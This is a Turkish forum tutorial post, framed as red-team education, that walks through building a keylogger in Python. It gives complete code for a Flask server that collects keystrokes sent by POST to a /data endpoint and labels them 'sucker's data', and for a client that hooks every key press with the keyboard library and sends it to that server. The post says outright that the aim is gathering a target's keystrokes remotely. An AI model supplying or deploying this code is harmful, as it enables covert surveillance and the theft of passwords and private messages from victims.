Selamlar forum üyeleri, ben Watnea!
Bugün python flask ile keylogger nasıl yapılır onu anlatacağım. Python serime ek olacak, red team kapsamında keylogger
en basic haliyle anlatmaya çalışacağım. Veri işleme mantığını anlayarak keyloggerimizi yazacağız.
+ Seriye buradan ulaşabilirsiniz.
> Keylogger Nedir?
Keylogger, kullanıcının klavyede yazdığı her tuş vuruşunu gizlice kaydeden bir izleme yazılımıdır.
> Flask Nedir?
Python'da web sunucuları kurmamızı sağlar.
> Request Nedir?
python'dan başka sunucuya veri almayi/vermeyi sağlar.
> Veri İşleme Mantığı
Keylogger, klavyeden yakalanan her tuş vuruşunu önce yerel olarak işler, ardından bu verileri HTTP POST isteğiyle Flask sunucusuna JSON formatında iletir. Flask sunucusu gelen bu verileri alır, işler ve terminale yazdırır. Bu sayede hedef kullanıcının tüm klavye aktiviteleri uzak sunucuda merkezi olarak toplanır ve izlenebilir.
Kısaca: Yakala -> İşle -> İlet -> Kaydet şeklinde bir veri akışı mevcut.
> Giriş - Sanal Ortam Nasıl Oluşturulur?
keylogger adında bir dosya oluşturdum ve içine
Kod:
python -m venv venv
cd venv
ls
cd bin
[CENTER]source activate
Ekranda gördüğünüz kodlar ile venv oluşturduk ve ana dizinde yani binde aktif ettik. Flask kullanacağımzı yer burası.
> Flask indirme
Çok kolay terminalimiz hep aktif bağlandığımız venv içerisinde aşağıda ki kodu yazıyoruz.
Kod:
pip install Flask
pip install keyboard requests
nano key.py diyerek başlatabilirsiniz.
Flask framework'ünü import ettik
Flask uygulaması oluşturduk (key ismiyle)
Python:
from flask import Flask, request
key = Flask(__name__)
Ana sayfa route'u - GET / isteğine "Flask hazir" cevabı getirmesini istedik.
Python:
@key.route("/")
def index():
return "Flask hazir"
POST endpoint'i: Sadece POST isteklerini kabul eder
JSON verisi alır: Gelen JSON'u data değişkenine kaydeder
Konsola yazdırır: Gelen veriyi terminalde gösterir
200 OK cevabı döner
Python:
@key.route("/data", methods=['POST'])
def get_data():
data = request.json
print("Keriz verisi: ", data)
return "Veriler alindi kaptan!", 200
if __name__ == '__main__':
[CENTER] key.run(debug=True)
> Tam hali
Python:
from flask import Flask, request
key = Flask(__name__)
@key.route("/")
def index():
return "Flask hazir"
@key.route("/data", methods=['POST'])
def get_data():
data = request.json
print("Keriz verisi: ", data)
return "Veriler alindi kaptan!", 200
if __name__ == '__main__':
key.run(debug=True)
Tekrar terminale gelip
nano keylogger.py ile yeni dosya açıyoruz.
Kütüphaneleri import edelim.
Python:
import keyboard
[CENTER]import requests
terminalizden url alabilmek için python key.py çalıştıralım.
> Tam hali:
Python:
import keyboard
import requests
url = "http://127.0.0.1:5000/data"
def send(key):
data = {"key": key.name}
try:
requests.post(url, json=data)
except:
pass
print("KeyloggerTHT aktif, çıkmak istersen ESC bas gardaş!")
keyboard.on_press(send)
keyboard.wait("esc")
python keylogger.py ile çalıştırıyoruz.
Web kısmında çalışan key.py içine tüm klavye girdileri düşüyor:
Bendeniz Watnea! Tükeneceğiz ile iyi forumlar!
Son düzenleme:


